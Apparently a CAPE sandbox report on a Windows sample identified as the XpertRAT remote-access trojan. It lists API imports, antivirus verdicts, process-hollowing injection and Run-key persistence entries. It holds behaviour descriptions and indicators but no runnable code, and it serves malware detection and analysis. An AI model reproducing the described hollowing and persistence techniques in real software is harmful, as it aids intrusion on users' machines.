DynamicLoader: KERNEL32.dll/SetThreadErrorMode
DynamicLoader: KERNEL32.dll/GetFileAttributesEx
DynamicLoader: KERNEL32.dll/GetFileAttributesExW
DynamicLoader: KERNEL32.dll/ResolveLocaleName
DynamicLoader: gdiplus.dll/GdiplusStartup
DynamicLoader: KERNEL32.dll/IsProcessorFeaturePresent
DynamicLoader: USER32.dll/GetWindowInfo
DynamicLoader: USER32.dll/GetAncestor
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/EnumDisplayDevicesA
DynamicLoader: GDI32.dll/ExtTextOutW
DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
DynamicLoader: gdiplus.dll/GdipLoadImageFromStream
DynamicLoader: WindowsCodecs.dll/DllGetClassObject
DynamicLoader: gdiplus.dll/GdipImageForceValidation
DynamicLoader: gdiplus.dll/GdipGetImageType
DynamicLoader: gdiplus.dll/GdipGetImageRawFormat
DynamicLoader: gdiplus.dll/GdipGetImageWidth
DynamicLoader: gdiplus.dll/GdipGetImageHeight
DynamicLoader: gdiplus.dll/GdipBitmapGetPixel
DynamicLoader: nlssorting.dll/SortGetHandle
DynamicLoader: nlssorting.dll/SortCloseHandle
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/CreateProcess
DynamicLoader: KERNEL32.dll/CreateProcessW
DynamicLoader: KERNEL32.dll/GetThreadContext
DynamicLoader: KERNEL32.dll/ReadProcessMemory
DynamicLoader: KERNEL32.dll/VirtualAllocEx
DynamicLoader: KERNEL32.dll/WriteProcessMemory
DynamicLoader: KERNEL32.dll/SetThreadContext
DynamicLoader: KERNEL32.dll/ResumeThread
DynamicLoader: ole32.dll/CoWaitForMultipleHandles
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: gdiplus.dll/GdipDisposeImage
DynamicLoader: ADVAPI32.dll/LookupAccountSidW
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: ole32.dll/NdrOleInitializeExtension
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: ole32.dll/CoGetPSClsid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ole32.dll/DcomChannelSetHResult
DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
DynamicLoader: KERNEL32.dll/CreateActCtxW
DynamicLoader: KERNEL32.dll/AddRefActCtx
DynamicLoader: KERNEL32.dll/ReleaseActCtx
DynamicLoader: KERNEL32.dll/ActivateActCtx
DynamicLoader: KERNEL32.dll/DeactivateActCtx
DynamicLoader: KERNEL32.dll/GetCurrentActCtx
DynamicLoader: KERNEL32.dll/QueryActCtxW
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: kernel32.dll/IsTNT
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: OLEAUT32.dll/OleLoadPictureEx
DynamicLoader: OLEAUT32.dll/DispCallFunc
DynamicLoader: OLEAUT32.dll/LoadTypeLibEx
DynamicLoader: OLEAUT32.dll/UnRegisterTypeLib
DynamicLoader: OLEAUT32.dll/CreateTypeLib2
DynamicLoader: OLEAUT32.dll/VarDateFromUdate
DynamicLoader: OLEAUT32.dll/VarUdateFromDate
DynamicLoader: OLEAUT32.dll/GetAltMonthNames
DynamicLoader: OLEAUT32.dll/VarNumFromParseNum
DynamicLoader: OLEAUT32.dll/VarParseNumFromStr
DynamicLoader: OLEAUT32.dll/VarDecFromR4
DynamicLoader: OLEAUT32.dll/VarDecFromR8
DynamicLoader: OLEAUT32.dll/VarDecFromDate
DynamicLoader: OLEAUT32.dll/VarDecFromI4
DynamicLoader: OLEAUT32.dll/VarDecFromCy
DynamicLoader: OLEAUT32.dll/VarR4FromDec
DynamicLoader: OLEAUT32.dll/GetRecordInfoFromTypeInfo
DynamicLoader: OLEAUT32.dll/GetRecordInfoFromGuids
DynamicLoader: OLEAUT32.dll/SafeArrayGetRecordInfo
DynamicLoader: OLEAUT32.dll/SafeArraySetRecordInfo
DynamicLoader: OLEAUT32.dll/SafeArrayGetIID
DynamicLoader: OLEAUT32.dll/SafeArraySetIID
DynamicLoader: OLEAUT32.dll/SafeArrayCopyData
DynamicLoader: OLEAUT32.dll/SafeArrayAllocDescriptorEx
DynamicLoader: OLEAUT32.dll/SafeArrayCreateEx
DynamicLoader: OLEAUT32.dll/VarFormat
DynamicLoader: OLEAUT32.dll/VarFormatDateTime
DynamicLoader: OLEAUT32.dll/VarFormatNumber
DynamicLoader: OLEAUT32.dll/VarFormatPercent
DynamicLoader: OLEAUT32.dll/VarFormatCurrency
DynamicLoader: OLEAUT32.dll/VarWeekdayName
DynamicLoader: OLEAUT32.dll/VarMonthName
DynamicLoader: OLEAUT32.dll/VarAdd
DynamicLoader: OLEAUT32.dll/VarAnd
DynamicLoader: OLEAUT32.dll/VarCat
DynamicLoader: OLEAUT32.dll/VarDiv
DynamicLoader: OLEAUT32.dll/VarEqv
DynamicLoader: OLEAUT32.dll/VarIdiv
DynamicLoader: OLEAUT32.dll/VarImp
DynamicLoader: OLEAUT32.dll/VarMod
DynamicLoader: OLEAUT32.dll/VarMul
DynamicLoader: OLEAUT32.dll/VarOr
DynamicLoader: OLEAUT32.dll/VarPow
DynamicLoader: OLEAUT32.dll/VarSub
DynamicLoader: OLEAUT32.dll/VarXor
DynamicLoader: OLEAUT32.dll/VarAbs
DynamicLoader: OLEAUT32.dll/VarFix
DynamicLoader: OLEAUT32.dll/VarInt
DynamicLoader: OLEAUT32.dll/VarNeg
DynamicLoader: OLEAUT32.dll/VarNot
DynamicLoader: OLEAUT32.dll/VarRound
DynamicLoader: OLEAUT32.dll/VarCmp
DynamicLoader: OLEAUT32.dll/VarDecAdd
DynamicLoader: OLEAUT32.dll/VarDecCmp
DynamicLoader: OLEAUT32.dll/VarBstrCat
DynamicLoader: OLEAUT32.dll/VarCyMulI4
DynamicLoader: OLEAUT32.dll/VarBstrCmp
DynamicLoader: ole32.dll/CoCreateInstanceEx
DynamicLoader: ole32.dll/CLSIDFromProgIDEx
DynamicLoader: SXS.DLL/SxsOleAut32MapIIDOrCLSIDToTypeLibrary
DynamicLoader: USER32.dll/GetSystemMetrics
DynamicLoader: USER32.dll/MonitorFromWindow
DynamicLoader: USER32.dll/MonitorFromRect
DynamicLoader: USER32.dll/MonitorFromPoint
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: kernel32.dll/GetModuleHandleA
DynamicLoader: kernel32.dll/GetProcAddress
DynamicLoader: kernel32.dll/SetProcessDEPPolicy
DynamicLoader: kernel32.dll/SetProcessDEPPolicy
DynamicLoader: USER32.dll/CallWindowProcA
DynamicLoader: PSAPI.DLL/EnumProcesses
DynamicLoader: kernel32.dll/OpenProcess
DynamicLoader: kernel32.dll/CloseHandle
DynamicLoader: PSAPI.DLL/EnumProcessModules
DynamicLoader: PSAPI.DLL/GetModuleBaseNameA
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: kernel32.dll/IsTNT
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: OLEAUT32.dll/OleLoadPictureEx
DynamicLoader: OLEAUT32.dll/DispCallFunc
DynamicLoader: OLEAUT32.dll/LoadTypeLibEx
DynamicLoader: OLEAUT32.dll/UnRegisterTypeLib
DynamicLoader: OLEAUT32.dll/CreateTypeLib2
DynamicLoader: OLEAUT32.dll/VarDateFromUdate
DynamicLoader: OLEAUT32.dll/VarUdateFromDate
DynamicLoader: OLEAUT32.dll/GetAltMonthNames
DynamicLoader: OLEAUT32.dll/VarNumFromParseNum
DynamicLoader: OLEAUT32.dll/VarParseNumFromStr
DynamicLoader: OLEAUT32.dll/VarDecFromR4
DynamicLoader: OLEAUT32.dll/VarDecFromR8
DynamicLoader: OLEAUT32.dll/VarDecFromDate
DynamicLoader: OLEAUT32.dll/VarDecFromI4
DynamicLoader: OLEAUT32.dll/VarDecFromCy
DynamicLoader: OLEAUT32.dll/VarR4FromDec
DynamicLoader: OLEAUT32.dll/GetRecordInfoFromTypeInfo
DynamicLoader: OLEAUT32.dll/GetRecordInfoFromGuids
DynamicLoader: OLEAUT32.dll/SafeArrayGetRecordInfo
DynamicLoader: OLEAUT32.dll/SafeArraySetRecordInfo
DynamicLoader: OLEAUT32.dll/SafeArrayGetIID
DynamicLoader: OLEAUT32.dll/SafeArraySetIID
DynamicLoader: OLEAUT32.dll/SafeArrayCopyData
DynamicLoader: OLEAUT32.dll/SafeArrayAllocDescriptorEx
DynamicLoader: OLEAUT32.dll/SafeArrayCreateEx
DynamicLoader: OLEAUT32.dll/VarFormat
DynamicLoader: OLEAUT32.dll/VarFormatDateTime
DynamicLoader: OLEAUT32.dll/VarFormatNumber
DynamicLoader: OLEAUT32.dll/VarFormatPercent
DynamicLoader: OLEAUT32.dll/VarFormatCurrency
DynamicLoader: OLEAUT32.dll/VarWeekdayName
DynamicLoader: OLEAUT32.dll/VarMonthName
DynamicLoader: OLEAUT32.dll/VarAdd
DynamicLoader: OLEAUT32.dll/VarAnd
DynamicLoader: OLEAUT32.dll/VarCat
DynamicLoader: OLEAUT32.dll/VarDiv
DynamicLoader: OLEAUT32.dll/VarEqv
DynamicLoader: OLEAUT32.dll/VarIdiv
DynamicLoader: OLEAUT32.dll/VarImp
DynamicLoader: OLEAUT32.dll/VarMod
DynamicLoader: OLEAUT32.dll/VarMul
DynamicLoader: OLEAUT32.dll/VarOr
DynamicLoader: OLEAUT32.dll/VarPow
DynamicLoader: OLEAUT32.dll/VarSub
DynamicLoader: OLEAUT32.dll/VarXor
DynamicLoader: OLEAUT32.dll/VarAbs
DynamicLoader: OLEAUT32.dll/VarFix
DynamicLoader: OLEAUT32.dll/VarInt
DynamicLoader: OLEAUT32.dll/VarNeg
DynamicLoader: OLEAUT32.dll/VarNot
DynamicLoader: OLEAUT32.dll/VarRound
DynamicLoader: OLEAUT32.dll/VarCmp
DynamicLoader: OLEAUT32.dll/VarDecAdd
DynamicLoader: OLEAUT32.dll/VarDecCmp
DynamicLoader: OLEAUT32.dll/VarBstrCat
DynamicLoader: OLEAUT32.dll/VarCyMulI4
DynamicLoader: OLEAUT32.dll/VarBstrCmp
DynamicLoader: ole32.dll/CoCreateInstanceEx
DynamicLoader: ole32.dll/CLSIDFromProgIDEx
DynamicLoader: VERSION.DLL/VerQueryValueA
DynamicLoader: VERSION.DLL/GetFileVersionInfoSizeA
DynamicLoader: VERSION.DLL/GetFileVersionInfoA
DynamicLoader: SXS.DLL/SxsOleAut32MapIIDOrCLSIDToTypeLibrary
DynamicLoader: USER32.dll/GetSystemMetrics
DynamicLoader: USER32.dll/MonitorFromWindow
DynamicLoader: USER32.dll/MonitorFromRect
DynamicLoader: USER32.dll/MonitorFromPoint
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: kernel32.dll/GetModuleHandleA
DynamicLoader: kernel32.dll/GetProcAddress
DynamicLoader: kernel32.dll/SetProcessDEPPolicy
DynamicLoader: kernel32.dll/SetProcessDEPPolicy
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: ole32.dll/StringFromGUID2
DynamicLoader: kernel32.dll/NlsGetCacheUpdateCount
DynamicLoader: kernel32.dll/GetCurrentProcess
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/LookupPrivilegeValueA
DynamicLoader: ADVAPI32.dll/AdjustTokenPrivileges
DynamicLoader: kernel32.dll/CloseHandle
DynamicLoader: kernel32.dll/CreateMutexA
DynamicLoader: kernel32.dll/WaitForSingleObject
DynamicLoader: kernel32.dll/GetFileAttributesW
DynamicLoader: kernel32.dll/GetFileAttributesW
DynamicLoader: kernel32.dll/CreateDirectoryW
DynamicLoader: kernel32.dll/Sleep
DynamicLoader: kernel32.dll/SetFileAttributesW
DynamicLoader: kernel32.dll/SetFileAttributesW
DynamicLoader: ADVAPI32.dll/RegCreateKeyW
DynamicLoader: ADVAPI32.dll/RegSetValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegCreateKeyW
DynamicLoader: ADVAPI32.dll/RegSetValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegCreateKeyW
DynamicLoader: ADVAPI32.dll/RegSetValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: kernel32.dll/RtlMoveMemory
DynamicLoader: USER32.dll/SetTimer
DynamicLoader: ws2_32.dll/WSAStartup
DynamicLoader: USER32.dll/CreateWindowExA
DynamicLoader: USER32.dll/SetWindowLongA
DynamicLoader: kernel32.dll/GetFileAttributesW
DynamicLoader: kernel32.dll/GetVersion
DynamicLoader: Shell32.DLL/
DynamicLoader: Secur32.dll/GetUserNameExW
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ADVAPI32.dll/LsaOpenPolicy
DynamicLoader: ADVAPI32.dll/LsaQueryInformationPolicy
DynamicLoader: ADVAPI32.dll/GetLengthSid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ADVAPI32.dll/GetLengthSid
DynamicLoader: ADVAPI32.dll/CopySid
DynamicLoader: ADVAPI32.dll/LsaFreeMemory
DynamicLoader: ADVAPI32.dll/LsaClose
DynamicLoader: SAMLIB.dll/SamConnect
DynamicLoader: RPCRT4.dll/NdrClientCall2
DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
DynamicLoader: RPCRT4.dll/RpcStringFreeW
DynamicLoader: RPCRT4.dll/RpcBindingFree
DynamicLoader: SAMLIB.dll/SamOpenDomain
DynamicLoader: SAMLIB.dll/SamCloseHandle
DynamicLoader: SAMLIB.dll/SamLookupNamesInDomain
DynamicLoader: SAMLIB.dll/SamFreeMemory
DynamicLoader: SAMLIB.dll/SamLookupIdsInDomain
DynamicLoader: SAMLIB.dll/SamOpenUser
DynamicLoader: SAMLIB.dll/SamQueryInformationUser
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: PROPSYS.dll/VariantToPropVariant
DynamicLoader: OLEAUT32.dll/
DynamicLoader: PROPSYS.dll/PropVariantToUInt32
DynamicLoader: USER32.dll/CreateWindowExW
DynamicLoader: USER32.dll/RegisterRawInputDevices
DynamicLoader: USER32.dll/RegisterWindowMessageW
DynamicLoader: Shell32.DLL/
DynamicLoader: USER32.dll/SetClipboardViewer
DynamicLoader: USER32.dll/SetWindowLongA
DynamicLoader: kernel32.dll/GetCalendarInfoW
DynamicLoader: USER32.dll/SendMessageA
DynamicLoader: ws2_32.dll/htons
DynamicLoader: ws2_32.dll/inet_addr
DynamicLoader: ws2_32.dll/socket
DynamicLoader: ws2_32.dll/connect
DynamicLoader: ws2_32.dll/WSAAsyncSelect
DynamicLoader: ws2_32.dll/inet_ntoa
DynamicLoader: kernel32.dll/lstrlenA
DynamicLoader: ws2_32.dll/send
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: ws2_32.dll/closesocket
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/GetLastInputInfo
DynamicLoader: kernel32.dll/GetTickCount
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: USER32.dll/PostMessageA
DynamicLoader: kernel32.dll/IsTNT
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: OLEAUT32.dll/OleLoadPictureEx
DynamicLoader: OLEAUT32.dll/DispCallFunc
DynamicLoader: OLEAUT32.dll/LoadTypeLibEx
DynamicLoader: OLEAUT32.dll/UnRegisterTypeLib
DynamicLoader: OLEAUT32.dll/CreateTypeLib2
DynamicLoader: OLEAUT32.dll/VarDateFromUdate
DynamicLoader: OLEAUT32.dll/VarUdateFromDate
DynamicLoader: OLEAUT32.dll/GetAltMonthNames
DynamicLoader: OLEAUT32.dll/VarNumFromParseNum
DynamicLoader: OLEAUT32.dll/VarParseNumFromStr
DynamicLoader: OLEAUT32.dll/VarDecFromR4
DynamicLoader: OLEAUT32.dll/VarDecFromR8
DynamicLoader: OLEAUT32.dll/VarDecFromDate
DynamicLoader: OLEAUT32.dll/VarDecFromI4
DynamicLoader: OLEAUT32.dll/VarDecFromCy
DynamicLoader: OLEAUT32.dll/VarR4FromDec
DynamicLoader: OLEAUT32.dll/GetRecordInfoFromTypeInfo
DynamicLoader: OLEAUT32.dll/GetRecordInfoFromGuids
DynamicLoader: OLEAUT32.dll/SafeArrayGetRecordInfo
DynamicLoader: OLEAUT32.dll/SafeArraySetRecordInfo
DynamicLoader: OLEAUT32.dll/SafeArrayGetIID
DynamicLoader: OLEAUT32.dll/SafeArraySetIID
DynamicLoader: OLEAUT32.dll/SafeArrayCopyData
DynamicLoader: OLEAUT32.dll/SafeArrayAllocDescriptorEx
DynamicLoader: OLEAUT32.dll/SafeArrayCreateEx
DynamicLoader: OLEAUT32.dll/VarFormat
DynamicLoader: OLEAUT32.dll/VarFormatDateTime
DynamicLoader: OLEAUT32.dll/VarFormatNumber
DynamicLoader: OLEAUT32.dll/VarFormatPercent
DynamicLoader: OLEAUT32.dll/VarFormatCurrency
DynamicLoader: OLEAUT32.dll/VarWeekdayName
DynamicLoader: OLEAUT32.dll/VarMonthName
DynamicLoader: OLEAUT32.dll/VarAdd
DynamicLoader: OLEAUT32.dll/VarAnd
DynamicLoader: OLEAUT32.dll/VarCat
DynamicLoader: OLEAUT32.dll/VarDiv
DynamicLoader: OLEAUT32.dll/VarEqv
DynamicLoader: OLEAUT32.dll/VarIdiv
DynamicLoader: OLEAUT32.dll/VarImp
DynamicLoader: OLEAUT32.dll/VarMod
DynamicLoader: OLEAUT32.dll/VarMul
DynamicLoader: OLEAUT32.dll/VarOr
DynamicLoader: OLEAUT32.dll/VarPow
DynamicLoader: OLEAUT32.dll/VarSub
DynamicLoader: OLEAUT32.dll/VarXor
DynamicLoader: OLEAUT32.dll/VarAbs
DynamicLoader: OLEAUT32.dll/VarFix
DynamicLoader: OLEAUT32.dll/VarInt
DynamicLoader: OLEAUT32.dll/VarNeg
DynamicLoader: OLEAUT32.dll/VarNot
DynamicLoader: OLEAUT32.dll/VarRound
DynamicLoader: OLEAUT32.dll/VarCmp
DynamicLoader: OLEAUT32.dll/VarDecAdd
DynamicLoader: OLEAUT32.dll/VarDecCmp
DynamicLoader: OLEAUT32.dll/VarBstrCat
DynamicLoader: OLEAUT32.dll/VarCyMulI4
DynamicLoader: OLEAUT32.dll/VarBstrCmp
DynamicLoader: ole32.dll/CoCreateInstanceEx
DynamicLoader: ole32.dll/CLSIDFromProgIDEx
DynamicLoader: VERSION.DLL/VerQueryValueA
DynamicLoader: VERSION.DLL/GetFileVersionInfoSizeA
DynamicLoader: VERSION.DLL/GetFileVersionInfoA
DynamicLoader: SXS.DLL/SxsOleAut32MapIIDOrCLSIDToTypeLibrary
DynamicLoader: USER32.dll/GetSystemMetrics
DynamicLoader: USER32.dll/MonitorFromWindow
DynamicLoader: USER32.dll/MonitorFromRect
DynamicLoader: USER32.dll/MonitorFromPoint
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: kernel32.dll/GetModuleHandleA
DynamicLoader: kernel32.dll/GetProcAddress
DynamicLoader: kernel32.dll/SetProcessDEPPolicy
DynamicLoader: kernel32.dll/SetProcessDEPPolicy
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: ole32.dll/StringFromGUID2
DynamicLoader: kernel32.dll/NlsGetCacheUpdateCount
DynamicLoader: kernel32.dll/GetCurrentProcess
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/LookupPrivilegeValueA
DynamicLoader: ADVAPI32.dll/AdjustTokenPrivileges
DynamicLoader: kernel32.dll/CloseHandle
DynamicLoader: kernel32.dll/CreateMutexA
DynamicLoader: kernel32.dll/WaitForSingleObject
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
File has been identified by 7 Antiviruses on VirusTotal as malicious
Cylance: Unsafe
APEX: Malicious
Kaspersky: UDS:DangerousObject.Multi.Generic
Paloalto: generic.ml
ZoneAlarm: UDS:DangerousObject.Multi.Generic
Microsoft: Trojan:Win32/Wacatac.C!ml
Malwarebytes: Trojan.MalPack.ADC
CAPE extracted potentially suspicious content
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: Injected PE Image: 32-bit executable
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
iexplore.exe: Unpacked Shellcode
iexplore.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: Injected Shellcode/Data
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
3xPFCTwuZSmjUq.exe: XpertRAT Payload: 32-bit executable
3xPFCTwuZSmjUq.exe: XpertRAT
3xPFCTwuZSmjUq.exe: Unpacked Shellcode
Queries or connects to DNS-Over-HTTPS/DNS-Over-TLS domain or IP address
ip: 1.1.1.1
The binary likely contains encrypted or compressed data.
section: name: .text, entropy: 7.83, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00042a00, virtual_size: 0x00042868
Authenticode signature is invalid
authenticode error: No signature found. SignTool Error File not valid C\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq
Uses Windows utilities for basic functionality
command: C:\Program Files\Internet Explorer\iexplore.exe C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe
Behavioural detection: Injection (Process Hollowing)
Injection: 3xPFCTwuZSmjUq.exe(5616) -> 3xPFCTwuZSmjUq.exe(5116)
Executed a process and injected code into it, probably while unpacking
Injection: 3xPFCTwuZSmjUq.exe(5616) -> 3xPFCTwuZSmjUq.exe(5116)
Behavioural detection: Injection (inter-process)
Installs itself for autorun at Windows startup
key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
data: C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
data: C:\Users\Rebecca\AppData\Roaming\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8.exe
key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
